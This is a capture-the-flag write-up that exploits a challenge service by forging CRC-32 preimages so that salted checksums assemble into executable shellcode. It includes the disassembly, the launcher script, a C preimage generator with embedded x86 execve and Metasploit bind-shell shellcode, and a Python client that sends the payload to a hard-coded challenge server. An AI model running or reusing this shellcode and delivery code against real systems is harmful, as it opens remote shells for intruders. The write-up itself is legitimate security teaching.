This is a level that, at first, seemed like it would be extremely simple, but then turned out to be far more complicated than expected. We were provided a zip file containing a python script and an elf binary.

Disassembling the binary reveals a very basic program:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/ (fcn) sym.main 165
|                0x0804847d    55           push ebp
|                0x0804847e    89e5         mov ebp, esp
|                0x08048480    83e4f0       and esp, 0xfffffff0
|                0x08048483    83ec30       sub esp, 0x30
|                0x08048486    8b450c       mov eax, [ebp+0xc]
|                0x08048489    83c004       add eax, 0x4
|                0x0804848c    8b00         mov eax, [eax]
|                0x0804848e    890424       mov [esp], eax
|                ; CODE (CALL) XREF from 0x08048376 (fcn.08048376)
|                ; CODE (CALL) XREF from 0x08048370 (fcn.08048366)
|                0x08048491    e8dafeffff   call 0x108048370 ; (sym.imp.atoi)
|                   sym.imp.atoi(unk)
|                0x08048496    89442428     mov [esp+0x28], eax
|                0x0804849a    c7442424000. mov dword [esp+0x24], 0x0
|                0x080484a2    c7442408040. mov dword [esp+0x8], 0x4
|                0x080484aa    8d442424     lea eax, [esp+0x24]
|                0x080484ae    89442404     mov [esp+0x4], eax
|                0x080484b2    8b442428     mov eax, [esp+0x28]
|                0x080484b6    890424       mov [esp], eax
|                ; CODE (CALL) XREF from 0x08048330 (fcn.0804832c)
|                0x080484b9    e872feffff   call 0x108048330 ; (sym.imp.read)
|                   sym.imp.read()
|                0x080484be    8b442424     mov eax, [esp+0x24]
|                0x080484c2    c7442414000. mov dword [esp+0x14], 0x0
|                0x080484ca    c7442410fff. mov dword [esp+0x10], 0xffffffff
|                0x080484d2    c744240c220. mov dword [esp+0xc], 0x22
|                0x080484da    c7442408070. mov dword [esp+0x8], 0x7
|                0x080484e2    89442404     mov [esp+0x4], eax
|                0x080484e6    c7042400000. mov dword [esp], 0x0
|                ; CODE (CALL) XREF from 0x08048350 (fcn.08048346)
|                0x080484ed    e85efeffff   call 0x108048350 ; (sym.imp.mmap)
|                   sym.imp.mmap()
|                0x080484f2    8944242c     mov [esp+0x2c], eax
|                0x080484f6    8b442424     mov eax, [esp+0x24]
|                0x080484fa    89442408     mov [esp+0x8], eax
|                0x080484fe    8b44242c     mov eax, [esp+0x2c]
|                0x08048502    89442404     mov [esp+0x4], eax
|                0x08048506    8b442428     mov eax, [esp+0x28]
|                0x0804850a    890424       mov [esp], eax
|                0x0804850d    e81efeffff   call 0x108048330 ; (sym.imp.read)
|                   sym.imp.read()
|                0x08048512    31c0         xor eax, eax
|                0x08048514    31c9         xor ecx, ecx
|                0x08048516    31d2         xor edx, edx
|                0x08048518    31db         xor ebx, ebx
|                0x0804851a    31f6         xor esi, esi
|                0x0804851c    31ff         xor edi, edi
\                0x0804851e    ff64242c     jmp dword [esp+0x2c]

It takes a single argument, an integer, which it uses as a file descriptor for input. It then reads 4 bytes from the file descriptor, mmap’s an anonymous block of memory of that size with RWX permissions, then reads that many bytes from the file descriptor into the mapped region, and finally jumps to the map region. So, in summary, read shellcode length, read shellcode, then jump to shellcode.

So, let’s look at the python script responsible for launching the program and reading the input.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python
import os, signal, struct, binascii
from sys import stdin, stdout

UI = lambda a : struct.unpack('I', a)[0]
PI = lambda a : struct.pack('I', a)

def crc32(data, salt) :
    return PI(binascii.crc32(salt + data) & 0xffffffff)

def main() :
    signal.alarm(25)

    salt = os.urandom(10)
    print 'salt:', salt.encode('hex')
    stdout.flush()

    n = UI(stdin.read(4))
    data = ''.join(crc32(stdin.read(UI(stdin.read(4))), salt) for _ in xrange(n))

    fi, fo = os.pipe()
    if not os.fork() :
        os.execl('/home/sc/thisisnotbad', 'thisisnotbad', '%d' % fi)
    else :
        os.write(fo, PI(len(data)))
        os.write(fo, data)

if __name__ == '__main__' :
    main()

As you can tell, it provides a 10 byte salt, then reads in 4 bytes (n), then finally reads n blocks prefixed by a 4-byte length. Next, for each block, it computes the crc32 of the block with the salt prepended. Finally, the crc32s are concatenated as the shellcode to be executed.

So, to get useful shellcode, we have to mount a preimage attack on CRC-32. Fortunately, CRC-32 is not a cryptographically secure hash, and Julien Tinnes has done the heavy lifting for us. So, we can take our shellcode as the desired CRC32s and compute the preimage of salt+preimage vector (4 bytes), then break the result into 4 byte chunks and send them along with appropriate lengths.

I wrote a little C program to use the calcvect.c from tweakcrc to compute the preimages given the salt, then used python for all the socket communications. (Because why do sockets in C when you can avoid it?)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!c
#include "crc32.h"
#include <string.h>
#include <stdio.h>
#include <arpa/inet.h>

/*
const char *shellcode = "\x31\xc0\x50\x68"
                        "\x2f\x2f\x73\x68"
                        "\x68\x2f\x62\x69"
                        "\x6e\x89\xe3\x50"
                        "\x53\x89\xe1\xb0"
                        "\x0b\xcd\x80\x90";
*/

unsigned char shellcode[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a"
"\x02\x89\xe1\xb0\x66\xcd\x80\x5b"
"\x5e\x52\x68\x02\x00\x16\x9d\x6a"
"\x10\x51\x50\x89\xe1\x6a\x66\x58"
"\xcd\x80\x89\x41\x04\xb3\x04\xb0"
"\x66\xcd\x80\x43\xb0\x66\xcd\x80"
"\x93\x59\x6a\x3f\x58\xcd\x80\x49"
"\x79\xf8\x68\x2f\x2f\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x50\x53"
"\x89\xe1\xb0\x0b\xcd\x80\x90\x90";


#define SC_LEN 80
#define CHUNK_SIZE 4

char shellcode_out[SC_LEN];

char tmpbuf[14];

unsigned int    tweakcrc(void *map, int length, unsigned int target, unsigned int offset);


void decode_hex(char *dst, const char *src) {
  int i;
  for (i=0; i<strlen(src)/2; i ++)
    sscanf(&(src[i*2]), "%2hhx", &dst[i]);
}


int main(int argc, char **argv) {
  int i;
  int target;
  decode_hex(tmpbuf, argv[1]);
  gen_table();

  for (i=0; i<(SC_LEN/CHUNK_SIZE); i++){
    *(int *)(tmpbuf + 10) = 0;
    //for (k=0; k<14; k++)
      //fprintf(stderr, "%02hhx", tmpbuf[k]);
    //fprintf(stderr, "\n");
    target = *((int *)&shellcode[i*CHUNK_SIZE]);
    //target = htonl(target);
    //fprintf(stderr, "Target: %08x\n", target);
    tweakcrc(tmpbuf, 14, target, 10);
    
    //for (k=0; k<14; k++)
      //fprintf(stderr, "%02hhx", tmpbuf[k]);
    //fprintf(stderr, "\n");
    memcpy(&shellcode_out[i*CHUNK_SIZE], tmpbuf+10, 4);
  }

  for (i=0; i<SC_LEN; i++)
    printf("%02hhx", shellcode_out[i]);
  printf("\n");
  return 0;
}

You might notice a commented out shellcode. At first, I just tried a basic x86 shell exec, but stdin/stdout do not seem to connect through to the shellcode. I didn’t dig into why, just replaced my shellcode with linux/x86/shell_bind_tcp from Metasploit.

To chunk and send my payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!python
import socket
import subprocess
import struct
import binascii


def crc32(data, salt):
  #print (salt+data).encode('hex')
  v = struct.pack('I', binascii.crc32(salt + data) & 0xffffffff)
  #print v.encode('hex')
  return v

REMOTE = ('54.178.232.195', 5757)
#REMOTE = ('localhost', 5555)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(REMOTE)
print 'Connected.'
salt = s.recv(1024).strip().split(':')[1].strip()
print 'Salt: %s' % salt

shellcode = subprocess.check_output(
    ('./shellcode', salt)).strip()
print 'Shellcode: %s' % shellcode
shellcode = shellcode.decode('hex')

def send(what):
  print what.encode('hex')
  return s.send(what)

def chunks(sc):
  return [sc[x:x+4] for x in xrange(0, len(sc), 4)]

nc = len(shellcode)/4

shellcode = ''.join('\x04\x00\x00\x00' + c for c in chunks(shellcode))

l = send(struct.pack('I', nc) + shellcode)
print 'Shellcode %d done.' % l

You might notice both programs have a lot of debugging print statements. Getting the endianness just right, tweaking the payload chunking, etc., consumed far more time than figuring out what the problem was.